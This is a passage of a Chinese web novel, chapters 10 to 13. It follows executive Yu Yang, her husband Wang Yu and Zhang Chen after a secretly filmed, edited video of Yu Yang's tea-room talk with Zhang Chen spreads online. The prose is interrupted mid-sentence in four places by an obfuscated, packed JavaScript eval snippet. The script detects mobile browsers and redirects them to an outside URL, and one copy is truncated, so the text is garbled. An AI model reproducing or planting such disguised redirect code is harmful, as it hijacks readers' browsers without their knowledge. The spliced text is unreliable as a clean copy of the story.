郁央宽慰道:“换个角度想想,孩子爱看书,总归是好事。” 吴总说:“她看的可不是什么正经书,小小年纪,就爱看什么霸道总裁,还往一个绿色的小说网站充钱。” 闻言,涵涵抬头,脸慢慢涨红,不知道是羞还是愤,恨恨地瞪了父亲一眼,凶巴巴的语气和吴总在外时很神似:“你别说话了!” “好好好,爸爸不说了。”说是这样说,吴总忍不住小声跟郁央吐槽,“涵涵还老嫌我和书里的‘霸总’不一样,说我要是在小说里就是个‘炮灰路人’……你说我能不心怀怨恨吗?” 郁央失笑:“吴总,您再怨恨下去,可能直接成反派了。” “不至于吧!” 涵涵哼了一声。 郁央看了看父女俩,微笑着开口:“不过实不相瞒,我像涵涵这么大的时候,也很喜欢看霸总小说。” 吴总愣了下:“郁总也?看不出来呀!” 郁央认真地说:“我一直对‘霸总’的人设很向往呢。” 涵涵眼睛看着小说,耳朵却时刻听着这边,听到后立即出声寻求认同:“我也是!” 郁央笑了,继续说:“我羡慕他们的无所不能,好像只要他们一出现,任何危机都迎刃而解。因此,从小到大我都很渴望成为这样的人,至今仍在努力。” 涵涵疑惑地睁大了双眼,感觉……好像她们的“向往”并不太一样? 吴总也很疑惑,心想霸总小说竟还有如此高的立意? 郁央却是没有再展开说,而是止住话题,道:“不说了,我们吃点水果吧。” 她本来是从不在别人面前提起这些的。 只是吴总和女儿的互动勾起了她深处的回忆,一时没忍住,竟流露出来一二。 她没说的是,看霸总小说的起源是小时候哥哥误把同桌女生的书带回家了,被她看到后随手翻看起来,然后一发不可收拾。 还有,她也曾像涵涵一样,拿小说里的角色和现实做对比,对比出来的结论就是——她的哥哥郁闻,十分的不合格。 因此,尚还年幼的她曾气呼呼地去质问道:“哥!你能不能霸气一点!不然怎么能当好我们郁家的继承人呀!” 每每这个时候,郁闻都露出无奈又温柔的笑容:“安安,你这有点强人所难。” 听到这样的答案,小郁央愈发着急:“哥,你要是不强大一点的话,会被欺负的!” 郁闻揉了揉妹妹的头发,开玩笑地说:“那怎么办呢?安安保护哥哥好不好?” 小郁央鬼灵精怪,转了转眼珠,开始认真思考。 片刻后,她欣然道:“好啊!这也是个办法!那我就保护到哥哥变强大为止好啦!” 郁闻愣了下,随即哈哈一笑:“好啊,那要多谢安安啦!” ——“抱歉,安安。哥哥食言了。” 从回忆的梦魇中醒来,郁央已经在第二天返程的飞机上了。 不知道怎么的,最近她不仅开始做梦,而且还总是梦到从前已经发生过的事。 这可不是一个好迹象。 身边坐着时刻待命的陈尧,听到她醒来的动静,问:“郁总,需要什么吗?” “什么都不用。”郁央没有扭头看他,一直面朝舷窗,看着窗外的景象。 飞机正在穿过云海,缓慢下降,目之所及渐渐出现大陆与城市,像是遥远的记忆被拭去岁月尘埃,露出曾经鲜亮的轮廓。 …… 刚下飞机,郁央一打开手机,率先看到的就是赵珞琪的未接电话和消息。 打开聊天框,只见几个“语音通话被取消”之前,是一段视频转发,视频发在当下很火的某社交平台上,配文只有短短一句话:最毒不过妇人心!女总裁为结婚竟干出这种事! “?”郁央回复了个问号过去。 赵珞琪的电话紧追而来。 赵珞琪语气急切:“安安!你怎么不接电话?” 郁央一头雾水:“我刚才在飞机上呢。出什么事了?又和锦陆吵架了?” “不,不是我……你没看我发给你的视频吗?” “女总裁那个?是什么新IP吗?” “不是!是你!”赵珞琪的语速都变快了,“原来你和章沉是有联系的吗?” “嗯?章沉?”郁央还是慢悠悠的。 这个名字于她而言并不陌生。 章沉,天莱的CTO,王屿的前合伙人,坑得王屿差点倾家荡产的那位。 赵珞琪只有努力简明扼要地概括:“算了,你自己看吧,那段视频是偷拍的,但录到了你们的谈话。现在业内都传,章沉背叛王屿是受你暗中唆使,只因你要对王屿‘强取豪夺’!” 郁央惊讶:“这么离谱?” “你快看吧!” 结束通话,这边陈尧应该也接到消息了,正要跟郁央汇报,被后者抬手示意稍等。 郁央点开了那个视频。 视频时间显示是去年秋天,应该用偷拍专用的微型摄像头拍的,可以看得出是在一间茶室包间,室内只有郁央和章沉两人,看得很清楚。 “……王屿很骄傲,能低头做事但绝不会低头做人,自然不会圆滑,很多时候得你帮忙打圆场善后了,做着吃力不讨好的苦差事。”背景音电流声时弱时强,但确定是郁央的声音无疑。 “你到底想说什么?”章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14430053|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉的语气充满警惕。 “这些年,天莱蒸蒸日上,但外界只夸王屿是奇才,却不怎么提你的功劳,你表面不在乎,但应该是不甘心的吧?” “你这是什么意思?我和王屿大学就一起创业了,他的才能我比谁都更早了解和佩服,天莱是我们互相扶持的成果,我有什么好不甘心的?” “你真的不想取而代之?我给你双倍。” “……” 视频后半段,拼接了今年她在记者发布会上宣布和王屿结婚的片段,显得格外讽刺。 她和章沉都不是默默无闻的企业家,这个视频已经冲上了热搜榜,评论区大多都不是商业圈的人,单凭这个视频,就已给郁央贴上了各种恶毒的标签。 面对谩骂,郁央浑不在意,冷静地吩咐陈尧:“这个视频前半段是被剪辑过的,让公关部、技术部和法务部共同处理。” 陈尧点头,问:“要联系章总联合公关吗?” 郁央果断说:“先不用。他名声本来就臭了,这波舆论对他影响不大,不指望他会出手。” “那王总那边……” 郁央的目光幽深起来,感到头疼。 她思忖了一会儿,才说:“你帮我订一份黑森林蛋糕吧……不,找一家口碑好的店,现在开车过去,我亲自选。” “……好。”连一向不关心八卦的陈尧也不免疑惑:蛋糕?难不成是给王总的? 实在很难把这类甜品和那位王总联系到一起,确定不是郁总自己吃的吗? 但作为一名优秀的新晋秘书,他还是秉持了多做不问的原则,很快找到了一家无论是档次还是距离都很合适的蛋糕店。 在钞能力的作用下,原本需要至少提前五个小时预约的定制蛋糕,在两个小时以内就完成了。 从机场到蛋糕店,又从蛋糕店到公司,路上时间花费甚多。 等郁央拎着蛋糕到宝向的时候,已经是下班时间。她从停车场直接乘专梯上王屿办公室所在楼层,却被王屿的助理小梁告知王屿刚刚离去。 小梁看向郁央的神情都隐隐有愤愤不平。 一个向来爱泡在办公室的人居然提早下班了,这已足够可疑。 郁央眉头一皱,明显开始担忧。 陈尧看了看手机:“郁总,有人在公司门口看到了王总,就在现在。” “好,那我下去找他。”郁央想起来回头补一句,“你直接下班吧,辛苦了。” 近日多阴雨,傍晚也不见晚霞,天空失去浪漫的序章,沉入黑暗时透出阴郁。 郁央走出公司大厅,远远地就看到王屿的车停在路边,应该是临时停车。而王屿本人下了车,站在边上,正在和谁谈话。 她疾走带跑,在靠近后看清另外那个人时,却顿了下脚步,倍感诧异。 “纪和哥哥?” 她疑惑地唤了一声,王屿和纪和都循声望来。 虽然隔着远,但依稀能看到王屿蹙眉的样子。 而与王屿相对而立的,是本该下个月初才回国的纪和,只见拖着一个银色的行李箱,一身轻装,头发微长。 也就在这时,公司前的路灯亮了,柔和的灯光映出那对含笑的凤眼。 “安安,我来找你为我‘接风洗尘’了。” 11.chapter 11 夜幕渐沉,霓虹初起。 下班高峰已近尾声,白昼的余温混着汽车尾气融入夏日晚风中,吹到肌肤上都是暖的,汗水悄然发芽。 “你们聊,告辞。” 还未等郁央反应过来,王屿冷冷丢下这么一句,便径自回到车上扬长而去。 “王屿,等等!”郁央赶忙拎着蛋糕跑过去,但哪里还来得及?只能目送黑色的路虎汇入车水马龙之中。 耳畔传来纪和一声轻笑:“好大脾气呀。” 郁央看向男人,认真恳切地说:“纪和哥哥,抱歉,我不知道你提前回来……改天再聚可以吗?” 纪和半开玩笑地说:“既然王屿都走了,那正好我们去吃饭呗。” 郁央语气坚决:“不行,纪和哥哥,我确实有急事要处理。” 纪和凝视了郁央片刻,微笑着说:“安安长大了。” 郁央看了眼他身旁的行李,问:“你现在住哪儿?我没开车,得打车,看看顺路不?” 纪和和颜悦色地说:“没事,你先走,我问青岚能不能来接我。” “也行。” 没一会儿,郁央便拦到了一辆出租车,上车前她突然想起了什么,回头问道:“纪和哥哥,你刚才和王屿说了什么吗?” “没说什么,就问了声好,问他还记不记得我。”纪和耸了耸肩,他说话时语气总是不大正经,像在调侃,“我保证,真不是我把他惹生气的。” 郁央当然知道不是纪和的问题,王屿会那样多半是已经看到视频了。 关上车门,她朝纪和挥手:“那我先走啦,代我向青岚姐问好。” “快去吧,拜拜。” 看着出租车绝尘而去,纪和的笑容渐渐凝固。 他身后一倾,靠在了路灯柱子上,掏出手机按下了号码:“喂?青岚,是我,吃饭吗?安安把我抛弃啦!” …… 回到家,当郁央看到客厅亮着落地灯时,不自觉松了一口气。 她走到王屿的房间门口,却发现房门紧闭,门缝也没有光线漏出来。 这么早就睡了? 抬手敲了敲门:“王屿?” 门内没有回应。 “我买了蛋糕。”郁央试探性地说道,“我给你放门口?” “……” “陈尧说这是全珑城做黑森林最好吃的店,尝尝?” “……” “那我放冰箱咯。” 叹了口气,郁央提着蛋糕转身。 然而人还没走到饭厅,身后就传来了开门的声音。 只见王屿已经洗完澡换上了灰色的家居服,半干半湿的头发散了下来,遮注了额头。 他面无表情地从郁央手中接过蛋糕盒子,语气嘲弄:“你是预备放冷藏还是冷冻?” 这是个好问题。 多年之前,郁大小姐就曾放错过冰箱,导致苦等了好一阵才吃上带着冰碴的蛋糕。 郁央眨了眨眼,笑道:“哪里位置合适,就放哪里呗。” 王屿哼了一声。 郁央端详着他的神色,愈发感觉看不透。她说:“现在吃一点吧。” 王屿不置可否,但行动已经告诉郁央答案——他是打算现在吃的。 郁央嘴角一扬,她就猜到他还是好这一口。 看起来和甜食绝无可能有联系的男人,其实很喜欢吃蛋糕,尤其是黑森林。 似是察觉到了郁央心中所想,王屿语气冷漠:“我很多年不吃这种东西了,现在也不喜欢,以后不要买了。” “也对,从前你都不喝咖啡的,现在天天都浓缩还无糖无奶。”郁央顺着递台阶,“既然你口味变了,那别吃了,不要勉强自己。” 王屿淡淡说:“正好有点饿了,可以吃点。” 郁央忍住笑。 然而下一秒,她笑不出来了——大概是因为她从大厅追出来时拎着蛋糕奔跑了一段,盒子内原本精美别致的黑森林蛋糕撞得变形了,模样看上去有些狼狈。 郁央心里有愧,伸手想把盒子重新盖上:“算了算了,别吃了,明天我重新买过吧。” 王屿伸手挡住她的手,说:“不用,不影响。” 只见王屿吃第一口的时候,下意识挑了下眉,然而下一秒神情的微动就被有意识地压制了下去,恢复了冷酷的表情,仿佛味同嚼蜡。 郁央憋笑憋得快不行了,非常识趣地起身:“我去洗澡了,你先吃吧。” 这个人确实比从前别扭了不少,但也因此在观察他时能发现更多趣味。 等郁央洗完澡出来,发现饭厅桌面收拾整洁,蛋糕盒子已经扔掉了,留下一个白骨瓷盘盛着另一半蛋糕——王屿把碎得比较多的那半吃了,留给她的这一半基本都没怎么变形,造型很漂亮。 走廊共用的卫生间传来电动牙刷的声音,是王屿在刷牙。 卫生间门没有关严,郁央走到门口,慢吞吞地开口:“王屿,那个视频……你看了吗?” 王屿刚好刷完,漱完了口,问:“什么视频?” “我和章沉的谈话。” “哦,那个。”男人的语气很平淡。 郁央难得出现忐忑的心情,解释说:“那是被恶意剪辑过的,真实情况不是那样,我……” “你去风城前,我的私人邮箱收到了一封邮件,附件就是这个视频。”王屿打断她,思路清晰,“是个海外邮箱,调查不到邮件来源,今天在网上发视频的人我也让法务联系到了,他说也是同个邮箱的投稿。” 郁央一愣:“啊……啊?啊。辛苦你了。” “我建议你明天去你们见面的那个地方查查,看是否还能查出是谁把摄像头装进去了,让他们也排查下其他房间。” 王屿冷静理性地分析着,态度语气和处理工作时别无二致。 这把郁央整不会了。 她迟疑了一下,问:“就视频的内容,你不打算向我要一个说法吗?” 王屿扫了她一眼:“你欠我的‘说法’,实在太多了。” 郁央讪讪:“抱歉。” 王屿擦干了脸,走出卫生间,一边说:“去年的那个时间点,我已经签下了对赌协议两个月了,稍微想想也能知道,你不会是这一切的罪魁祸首。” 王屿对章沉原本信任至极。 两人高中时就认识,大学就一起尝试创业,然后一块儿从美国回中国,再加上工作上向来是章沉负责和外面的人谈判,分析风险,所以对于章沉拿回来的协议,王屿不疑有他。 “我那天确实见了章沉。”郁央跟在他身后,斟酌着说道,“我碰见过他和彭子舜在一起,好像在谋划什么,就把他约出来警告敲打了一下……但我没想到当时他已经动手了。抱歉,或许当时我该直接联系你的。” 王屿不以为然:“如果你当时联系我,我不一定信。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14439908|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“也是。” 两人相对沉默了片刻,郁央原以为这件事会像一枚导弹,在他们的生活掀起惊涛骇浪,她甚至已经做好了乘风破浪的准备,却没想到只是一个小石子,荡起的只是涟漪,很快便消散了。 是她低估了王屿的理智,还是低估了王屿的承受能力? 亦或是,低估了她曾经给对方带来的伤害? 良久,她开口道:“晚上在公司楼下,我看你自己开车走了,我还以为你是在因视频这事生气。” “我说过了,我不是你的司机。” 不知道为什么,提到这个话题,郁央感觉男人又有点气鼓鼓的。她问:“过几天我约纪和哥哥吃饭,你也一起来吧?” “不去。”回绝得很果断。 郁央忍不住问:“你不喜欢纪和哥哥?” 明明多年前两人唯一的那一次见面,相处还挺融洽,纪和善于交际,而当时的王屿虽恃才傲物,但锋芒还不尖锐。 “他是你的朋友,我认识就行了,没必要喜欢吧?”王屿接了一杯水,交代道,“吃完后盘子放桌子上,一会儿我来收拾。” “王屿,你究竟在生气什么?” “我们本来就是两个世界的人。”王屿语气稍重,一双墨眸深处燃着泠泠冷焰,“我尽力做好我该做的,但其余的,我对融入你们那个世界没有任何兴趣。” 郁央在原地怔愣住了。 似乎又要下雨了,客厅巨大的落地窗外传来压抑的闷雷声。 回到房间,王屿在黑暗中久久伫立。 他向来是习惯黑暗的,黑暗的环境能帮助他冷静和思考。 忽然,桌面上的手机屏幕一亮,成为房间里唯一的光源,是未接来电的提醒。 他拿起手机,回拨过去:“什么事?” 电话那头响起易临星的声音,总是那么中气十足:“我说你这个人真奇怪,明明是你拜托我帮你做事,咋接个电话像我找你有事一样?” 王屿语气冷淡:“有结果了吗?” “你说你对下属都挺宽厚,怎么对我就这么苛刻?”易临星不满地抱怨,然后说,“是一次性账号,查不出来的。” “那挂了。” “哎!还有一件事!章沉找到我,让我帮忙传个话,他想和你见面。” 易临星顿了顿,忍不住吐槽:“说起来他可真怂的,说联系方式都被你拉黑了所以联系不上你,都这个年代了,换个手机号或者直接登门拜访不就行了?” 王屿的回答简单明了:“不见。” 易临星问:“万一他那里有什么线索呢?” “那见吧。” “……” 易临星噎了一下,不由感慨:“你真的超爱。” “?” 易临星的语气充满难以置信:“出了这档事,我要是你早发疯了,肯定要和郁央那个女人离婚!结果你呢,居然首先想着怎么帮她善后,追查是谁要搞她!我看你就是个恋爱脑!” “再废话,方案不帮你看了。” 易临星忙道:“别呀!我没有功劳也有苦劳好吧!” “告诉章沉,我没有拉黑过他的手机号,让他自己发我时间地点。”说完这句话,王屿就真的把电话挂了。 没一会儿,大雨倾盆而下。 雨水拍打在玻璃窗,盖过了男人的一句自言自语—— “或许我早就疯了吧。” 12.chapter 12 费了一番力气后,视频的热度终于被压了下来,只是视频的提供者始终神龙见尾不见首,怎么钓都在暗处不肯出来。 以这个视频为导火索,传着传着,两人要离婚的传闻甚嚣尘上。 再加上王屿连着两晚直接睡在办公室加班,仿佛更加坐实了大家的猜想。 赵珞琪消息不断:“现在是什么情况啊?你们没有说清楚吗?” “说清楚了的。”郁央反过来安抚好友,“都是误传,没有提离婚。” “那就好。”紧接着,赵珞琪发了个幸灾乐祸的表情包,“不过有的人希望又落空咯。” “?” 周锦陆的消息也就迟了赵珞琪一步,不得不说两人在某些方面还是很有默契的。 “你们要离婚了吗?”大概意识到自己这句话有点太直白,后面又补了一个抱抱安慰的表情包,并加了一句,“没事的,无论发生什么,我都站在你这边。” 郁央暗自叹了口气,否认道:“没有要离婚,都是乱传的。” 此话一出,聊天框一直显示“对方正在输入中”。过了好一会儿,周锦陆下一条消息才发来:“好吧。” 很快又接了句:“还是那句话,无论发生什么,我都站在你这边。” “谢谢。” 甚至连不在商界的吴楼月都打电话来关怀郁央,开门见山地问:“安安,你和王屿要离婚了吗?” 她在珑城的音乐学院任教,是国内小有名气的扬琴演奏家,所处的环境没有那么多勾心斗角,又是吴家独女,从小万千宠爱集一身,也因此养成心直口快的性子。 郁央没想到都传到对方耳朵里了,这才意识事情传播得比她想象得广泛。她不厌其烦地解释道:“没有的事。大嫂,你从哪儿听的?” “我听你大哥讲的啊。”吴楼月忧心忡忡地说,“你大哥其实很担心,就是拉不下脸来问,昨晚才被我套话套出来,我说那我来问问……你们真的还好吧?” 郁央失笑:“放心吧大嫂,我们没事,流言止于智者,传几天就没事了。” “郁麒说多半有人在推波助澜。安安,你一定要小心啊。” 郁央温声道:“知道,代我向大哥说一声谢谢,让你们为我操心了。” “哎呀说这些,都是一家人。” 本来通话到这里就该结束了,但郁央犹豫了一下,话锋一转:“大嫂,平时大哥生闷气的话,你都怎么做呀?” 吴楼月愣了下:“闷气?要看为什么生气的吧?” “如果就是……不明白对方为什么生气呢?” “那就只有先哄一下了。” “怎么哄?说好话?” “亲亲抱抱举高高咯。”吴楼月说着,自己咯咯咯笑起来,“安安,你都结婚了,怎么问得跟小孩子一样?” 郁央恍然:“谢谢大嫂指点!” 公事公办久了,都差点忘了,她和王屿不是室友,而是合法夫妻。 于是这晚她潜入王屿的办公室,决定好好“哄”一下对方。 为了不引起怀疑,下班时间先演了一波“下班”,在众目睽睽之下离开了公司,然后等到夜深了,再换装偷偷回来。 郁央感叹:好久没做这么刺激的事了。 其实这还是她第一次进王屿的办公室。 王屿生性勤快又爱整洁,即使是加班忙碌状态,办公室也收拾得很井井有条,屋子里除了文件和办公用品,基本没什么个人物品。 一言以蔽之,人味很淡,班味很重。 打开休息室,人气儿稍微重一点了,空气中还若有若无地残留着那股淡淡木质香水味,床头放了两本书和一沓英文论文,上面有中性笔勾画过的痕迹。 郁央本无意翻看王屿的东西,但表面那本书夹着的东西一下子吸引了她的注意力,白色的,像是折纸。 莫纳罗亚火山镶嵌书签。 即使只露出一半,但郁央还是立马认了出来。 这是一种折纸书签,折法不难,特点在于理论上可以一直折下去,折好后对着灯光,可以呈现出钻石切割截面般的图案,仔细看又像是层层嵌套的火山口,有一种无限循环的感觉。 郁央读书的时候很喜欢折,尤其是在听自己不喜欢的课的时候。 她徐徐走近,然后一边用手指撑住书页,一边小心翼翼地将那个书签抽出来。 翻到背面,发现这是用某届业界研讨会的会议信纸折的,上面还有零星的笔记,是信手记下的关键词。 看得出写得很不走心,一笔一捺都透出无聊乏味,是她的字迹无疑。 ——“说来也奇怪,珑城说大也不大,可我们竟然都没遇见过。” ——“我都说过了,我的工作量向来很饱和,没碰见也不出奇。” ——“是吗?” 郁央不由惊讶:原来那次研讨会,王屿也在场吗? 是什么时候拿走了她座位上随手叠的折纸?在她离场后? 郁央隐约记得当时她是和周锦陆坐在一块儿,决定出席的时候还想过王屿和章沉会不会来参加,但是到了会场后却并没有看到期望中的身影。 不过她也没有细致到会后去查签到名单就是了。 正出神着,门外传来了开门的声音,应该是王屿回来了。 郁央把书签夹回去,刚开门准备出去来个突袭,就听一个男声从门缝泄了进来,却并非王屿的声音:“你的办公室比我的大很多。” 握住门把的动作一滞,郁央睁大了眼睛,不免诧异。 居然是章沉。 对此,王屿只是淡淡地应了一声:“嗯。” 章沉的笑声中掺杂着局促:“好歹来者是客,王总连一杯茶水都不准备给我吗?” “有矿泉水,将就喝吧。”王屿毫不客气地说。 接着是一声轻响,应该是王屿把一支矿泉水丢给了章沉,被后者接住了。 “好久不见你这张臭脸,居然觉得还挺亲切。”章沉干笑两声。 王屿没有接茬。 连郁央都为章沉尴尬起来。 或许是明白过来寒暄的客套话对王屿来说毫无用处,章沉清咳一声,语气严肃起来:“视频的事,不是我干的,我也有出力压下去。” 王屿十分冷漠:“那还要多谢你了。” “你不用阴阳怪气。”章沉顿了顿,沉声说,“过去的事,是我鬼迷心窍,是我混蛋,一直没能当面向你道歉,对不起。” “你要见我,就是为了说这个?” 郁央能想象得到王屿的表情。 一定是和说出“没有我的天莱,和我有什么关系?”时一样,倨傲且不屑。 这个人是这样的,即使在一败涂地的境地,也让人感觉像是虽败犹荣。 章沉缓缓地说:“郁央那天来找我的事,我还记得很清楚,当时她就在怀疑我了,但我还是斩钉截铁地告诉她,我没有背叛,是她多心了。” 顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14449528|153320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了顿,他似是苦笑了下:“我当时真的讨厌透你了吧。” 这句话让办公室陷入片刻死寂。 良久,王屿平静地开口问道:“所以,是为什么?” 章沉说:“虽然视频是被剪辑过的,但郁央问我的那些话,是我的真实想法。” “……” “凭什么呢?”章沉长舒了一口气,“大家都是来奋斗的,为什么你就能高高在上,我就得低到尘埃里干吃力不讨好的脏活累活,最后大家看到的只有你?” “……” “要是没有我的话,你那脾气都活不过第一集!你陪客户喝酒赔笑都不会!你算什么老总?我承认,你是很厉害,但天莱的成功不只是你一个人的,起码有一半是靠我经营起来的人情世故!” “……” 章沉越说越激动:“你想带天莱转型,追求你的‘技术理想’!却不知道这一动作要触及多少利益关系,你根本不考虑!我们开公司,说到底就是为了挣钱,又不是在搞科研,要是这么在乎什么技术创新的话,早饿死了!” “……” 郁央不禁为他捏一把冷汗。 王屿只是静静地听着,过了会儿,问:“说完了?” “说完了。” “那轮到我了。” 章沉深吸一口气,等待审判。 “我本以为,我们互补,搭档得很愉快。”王屿沉声说道,“抱歉,是我没有察觉到你的感受,让你一个人承受了太多。现在回想,我不是一个很好的合伙人。” “……” “彭子舜不是什么善类,对你来说也是惩罚了吧。” 这句话说的是真的,以前章沉再委屈也起码和王屿是平起平坐的。 但现在天莱的老板是彭子舜,而他章沉就是彭子舜的一条狗。 不知道是因为惊愕还是愧疚,亦或是其他的复杂情绪,章沉沉默了许久。 王屿也没有说话。 “我刚到西雅图读高中的时候,口语不好。”半晌,章沉开口了,声音有些沙哑,“其他人都嘲笑我,只有你愿意帮我,还邀请我一起参加编程比赛……最近我经常回想当初的细节。” 王屿叹了口气:“又不是什么大恩大德,我早忘了。” 章沉又是一阵沉默,而后问了句:“如果我说,我从没想过要陷你于绝境,你相信吗?” 王屿说:“不太相信。” “好吧。虽然没料到郁央会简单粗暴地利用结婚实现利益捆绑,但我知道,她是会接住你的,毕竟这些年来她一直在默默关注着你,帮了天莱不少。” “……” “你是不是还毫不知情?” “……” 章沉笑了笑:“王屿,我告诉了你一件这么重要的事情,你看我们还可以做朋友吗?” 王屿回答:“……不能。” “好吧。”章沉的语气透出一丝故作洒脱的哀伤,“走了,王总,不用送了。” “再见。” “再见。” 办公室的门被打开,在几声沉重的脚步后,又关上了。 城市的霓虹在窗外如同夜幕繁星,厚实的玻璃隔断了楼下川流不息的喧嚣,一束月光淌进来,让室内的白炽灯柔和几分。 王屿在办公桌前静坐了一会儿,然后才起身,疲惫地走向休息室。 然而,当他打开休息室的门时,神色不由一滞, ——床上多了一位睡美人。 13.chapter 13 章沉一个人出来坐不了专梯,只有坐员工电梯下楼。 这个时间点,正好碰上一个部门的人下班,在某一层蜂拥而入,把他挤到了角落。 加班到这个点,大家都面露倦色,但是形态各异,有埋头看手机的,有两眼放空的,也有的说笑聊天。 “哎,我那一关还卡着呢,不知道今晚能通不。” “你也太肝了,还有力气啊?” “上班的力气是一点都没了,但玩游戏还是有的。” 章沉会心一笑。 他不由地想起,在很多年前,他和王屿也像这些小年轻一样,发生过类似的对话。 不同的是每次他都会拉着王屿帮他通关,事后又隐隐不服气,暗中研究为什么他卡着的关卡王屿却能轻轻松松地打过。 本来他还有些紧张,怕被人认出来,但看样子是他多心了。 章沉欣慰地收回目光,却在视线回归的途中不经意地扫过一个女生的手机屏幕。 那个女生站在他右前方,比他矮一截,从他的角度看对方的聊天界面一览无余。 只见屏幕上赫然炸开一条消息:“我在电梯看到了章沉!!!!!!” 章沉:“……” 发消息的女生穿着一件白色衬衣配藏蓝色半身长裙,戴着眼镜,十分文静内秀的样子,手指十分灵活,打字快得看不清。 很快,又一条新消息发出去了:“就是天莱的章沉!背刺王总的那个!” “……”心上一刀。 对方的回复又是一刀:“啊?那个卑鄙小人?” 女生打字飞快:“对,就是他,居然还敢来!” “那个视频不会是真的吧,郁总和他真有联系?王总好惨!” “郁总这么花心,难道是三角恋?” “那他算什么?炮灰男?” 章沉默默移开目光,看不下去了。 好在电梯很快就到了一楼,章沉把车停在了地面停车场,所以也跟着出电梯。 走过那个女生时,章沉脚步放缓,突然清了清嗓子,说:“不是什么三角恋。” 此话一出,不仅是那个女生,周围的两三个人也投来了惊愕的目光,显然是暗中注意这边许久了。 “我只是来找王屿叙旧,和郁央没有关系。”章沉脸上挂上标志性的假笑,“还请各位不要传播不实谣言。” 说完,也不等反应,大步流星而去。 上了车后,章沉漫无目的地兜风,按下了半截车窗。 他破例在应酬外的场合抽了根烟。 当吐出的白烟随风奔向窗外的黑夜时,去年郁央来找他时的情景却像是作为交换似的涌上他的脑海—— 说不清当时是怀着怎样的心情赴约的了。他和郁央交情不深,大学时代只是普通朋友关系,只是中间隔着王屿这层关系,变得微妙起来。 现在说来,背着王屿偷偷去见郁央,某种意义上也算得上是背叛了。 郁央约在了一家高级私人茶室,曲径通幽,走廊和包间的设计都注重保护客户隐私,每个包厢的开门方向不一,避免看到其他包间坐着什么人。 这样的地方,章沉曾跟过彭子舜去过一次,能在这里预约得上包厢的,大多是珑城本地的老钱们,皆是名流。 包间以植物命名,郁央预约的这间在茶室深处,名为“三色堇”。 进入包厢,茶香袅袅,郁央已经在座上品茗。 “章沉,好久不见。” 女人主动微笑着和他寒暄,举止优雅,语气熟稔得仿佛中间横亘的数年不存在。 “好久不见。”章沉在她对面坐下,端详着对方这些年的变化,有些恍惚,“上次见的时候,你还是‘余央’。” 郁央嫣然一笑:“是家里人的主意,说既然学生证只写姓名拼音,对外就口头上改‘郁’为‘余’,不在华人圈透露真实姓氏。” 真是上流人才有的烦恼。章沉心想。 他用着近乎质问的语气,说道:“和王屿在一起两年,你都没告诉过他。他还是在你走了后,看新闻才知道你的真名。” “好几次想告诉他的,都因为种种原因没开口。”郁央三言两语便轻轻揭过去了,“不聊过去了,我找你,是想谈谈现在……喝茶吧,没下毒,不必这么警惕。” 章沉注视着郁央,想从对方脸上捕捉到一丝一毫的愧色,但却无迹可寻。 垂下视线,盯着玻璃茶盏中色如琥珀、晶莹剔透的茶汤,章沉说:“要是王屿知道我在这里和你喝茶,大概会杀了我。” 郁央的语气波澜不惊:“但你还是赴约了。说明你现在不怕他了。” “我只是好奇心害死猫。”章沉抬手拒绝了对方斟茶的举动,“白水就可以了。” 郁央微笑:“多年不见,你变谨慎了很多。” 章沉扯了扯嘴角:“我们这种创业狗,每一步都要小心翼翼,当然得谨小慎微。” “可以理解。”郁央点了点头,“王屿很骄傲,能低头做事但绝不会低头做人,自然不会圆滑,很多时候得你帮忙打圆场善后了,做着吃力不讨好的苦差事。” 章沉蹙起了眉头。 “你到底想说什么?” 郁央慢条斯理地摆弄着茶具,悠悠地说:“这些年,天莱蒸蒸日上,但外界只夸王屿是奇才,却不怎么提你的功劳,你表面不在乎,其实应该是不甘心的吧?” 章沉脸色一沉:“你这是什么意思?我和王屿大学就一起创业了,他的才能我比谁都更早了解和佩服,天莱是我们互相扶持的成果,我有什么好不甘心的?” “真的吗?”郁央笑吟吟地看着他,眼中却无一丝笑意,“你真的不想取而代之? 章沉猛地起身。 “郁央,看在我们大学时的交情,我才愿意赴你这个约,要谈事就谈事,在这里阴阳怪气恶意揣度是几个意思?”他的语气可以算是怒不可遏,“再见!我当从来没认识过你! 郁央泰然自若,只是不疾不徐地说了一句:“走得这么急,约了彭总吗?” 章沉脚步一滞,瞬间燃起一片心慌。 他强装镇定:“什么彭总?” 郁央说:“就是你前天才见过的那位呀,珑城有名的二世祖,彭家太子爷,彭子舜。” 章沉回头,只感觉自己的脖颈咯吱作响。 他艰难地吐出四个字:“你监视我?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 